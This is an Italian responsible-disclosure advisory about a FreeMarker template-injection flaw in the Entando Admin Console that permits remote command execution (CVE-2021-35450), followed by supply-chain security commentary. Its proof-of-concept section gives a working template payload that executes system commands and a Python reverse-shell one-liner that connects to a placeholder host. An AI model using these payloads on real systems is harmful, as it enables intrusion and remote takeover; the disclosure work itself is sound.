Sulle ali del caso Kaseya – ultimo di una serie di incidenti di sicurezza che hanno evidenziato gli impatti devastanti associati ad un attacco contro la Supply Chain digitale – Swascan ha portato a termine proattivamente un’attività di Responsible Vulnerability Disclosure con il system integrator Entando.
Entando
Entando è una società di software open-source leader nel campo dello sviluppo di web app su base Kubernetes.
L’azienda, fondata nel 2010 come system integrator open-source, è stata rifondata come vero e proprio fornitore nel 2015 in risposta alla crescente domanda di strumenti e servizi per creare moderne esperienze online.
Da allora, Entando ha fatto un balzo in avanti nei mercati internazionali espandendosi con uffici in Nord America dedicati all’R&D e vendite in Europa. Il suo team è presente in tutto il mondo, compresi Stati Uniti, Italia, Brasile, Sud Africa, Ucraina e Filippine.
Entando ha una particolare esperienza nel settore bancario, pubblico e dei servizi.
Technical Summary
Durante un Penetration Test, il Cyber Security Research Team di Swascan ha rilevato un’importante vulnerabilità potenziale su:
- ENTANDO Admin Console
La vulnerabilità rilevata era:
Vulnerability | CVSS | Severity |
Server-Side Template Injection – Remote Command Execution | 7.2 | CRITICAL |
Swascan ha raccomandato l’aggiornamento di Entando Admin Console all’ultima versione disponibile su github all’indirizzo https://github.com/entando/entando-admin-console.
Nella sezione seguente i dettagli tecnici su questa vulnerabilità, comprese le prove e le proof-of-concepts
Dettagli sulla vulnerabilità
Server-Side Template Injection: Remote Command Execution
CWE-94: Improper Control of Generation of Code (‘Code Injection’)
CVSSv3.1: 7.2 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H]
OWASP: A1:2017-Injection
Remediation Complexity: HIGH
Remediation Status: FIXED
Descrizione
La web application è affetta da una vulnerabilità Server Side Template Injection grazie alla quale è possibile eseguire comandi di sistema inserendo istruzioni all’interno del framework utilizzato per il rendering dell’applicazione.
Un potenziale attaccante sarà quindi in grado di eseguire comandi di sistema inserendo opportune istruzioni all’interno dei componenti grafici dell’applicazione utilizzando il motore di rendering FreeMarker utilizzato dal CMS Entando.
Assets
- https://HOST_NAME/admin-console
Proof of Concept
Quanto segue mostra come sia possibile eseguire comandi di sistema e ottenere una shell remota inserendo istruzioni riconosciute dal framework FreeMarker.
Per dimostrare la vulnerabilità, si è scelto di inserire del codice nel widget “help_desk” poiché, solo in questo particolare caso e layout scelto per l’applicazione, può essere facilmente richiamato dal browser per innescare l’esecuzione del comando
<#assign ex = “freemarker.template.utility.Execute”?new()>${ ex(“uname -a”)}
Qui sotto c’è un dettaglio più esplicativo:
Per ottenere una shell di sistema è stato utilizzato il seguente script Python attraverso un file caricato in /tmp/shell.py sul sistema linux sottostante:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”X.X.X.X\”,80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\”/bin/sh\”,\”-i\”]);’
Lo script di cui sopra ha aperto una shell inversa dal server a un server di comando e controllo:
Remediation
Lo Swascan Cyber Security Research Team ha aperto una richiesta di CVE ID a
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35450
e Entando ha risolto il problema con Entando Admin Console, Release 6.4.1 aggiornando la versione di FreeMarker usata nelle dipendenze dei componenti.
Riferimenti
- https://cwe.mitre.org/data/definitions/94.html
- https://nvd.nist.gov/vuln/search/results?form_type=Advanced&results_type=overview&query=freemarker&search_type=all
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35450
- https://github.com/entando/entando-admin-console
Proteggere la Supply Chain
Mentre attacchi come quello di Kaseya sono certamente “teatrali”, in particolare quando si vedono immagini come supermercati chiusi al pubblico per un fine settimana e completamente paralizzati, il problema di fondo che sorge con l’intensificarsi di questi attacchi è come la moderna Digital Supply Chain sia sempre più una “balena bianca” per i Criminal Hacker.
“Questo perché tutte le infrastrutture digitali di aziende ed enti pubblici stanno crescendo in complessità a un ritmo vertiginoso. E allo stesso tempo aumenta la quantità di strumenti necessari per gestire queste interconnessioni mantenendole sicure” ha spiegato Pierguido Iezzi, CEO di Swascan.
Monitorare lo stato di sicurezza dell’intera filiera attraverso indicatori di vulnerabilità e di rischio è diventato un imperativo; anche levando il supporto di ricercatori di Cyber Security come sottolinea la collaborazione tra Entando e Swascan, ha aggiunto.
Alla fine, non c’è differenza in termini di danno economico, reputazione del marchio e continuità aziendale quando l’attacco avviene direttamente sul nostro perimetro o attraverso la catena di approvvigionamento.
Non dobbiamo mai dimenticare che nessuna tecnologia esiste “da sola”, quasi tutte le organizzazioni operano in un ecosistema connesso che include, per esempio, i fornitori.
Se una qualsiasi di queste aziende viene attaccata, automaticamente tutte le altre parti lungo la Supply Chain sono a rischio.
Anche la più piccola vulnerabilità potrebbe provocare un danno enorme.
Il lavoro svolto all’interno di Entando mostra come una filiera digitale potrebbe e dovrebbe essere protetta.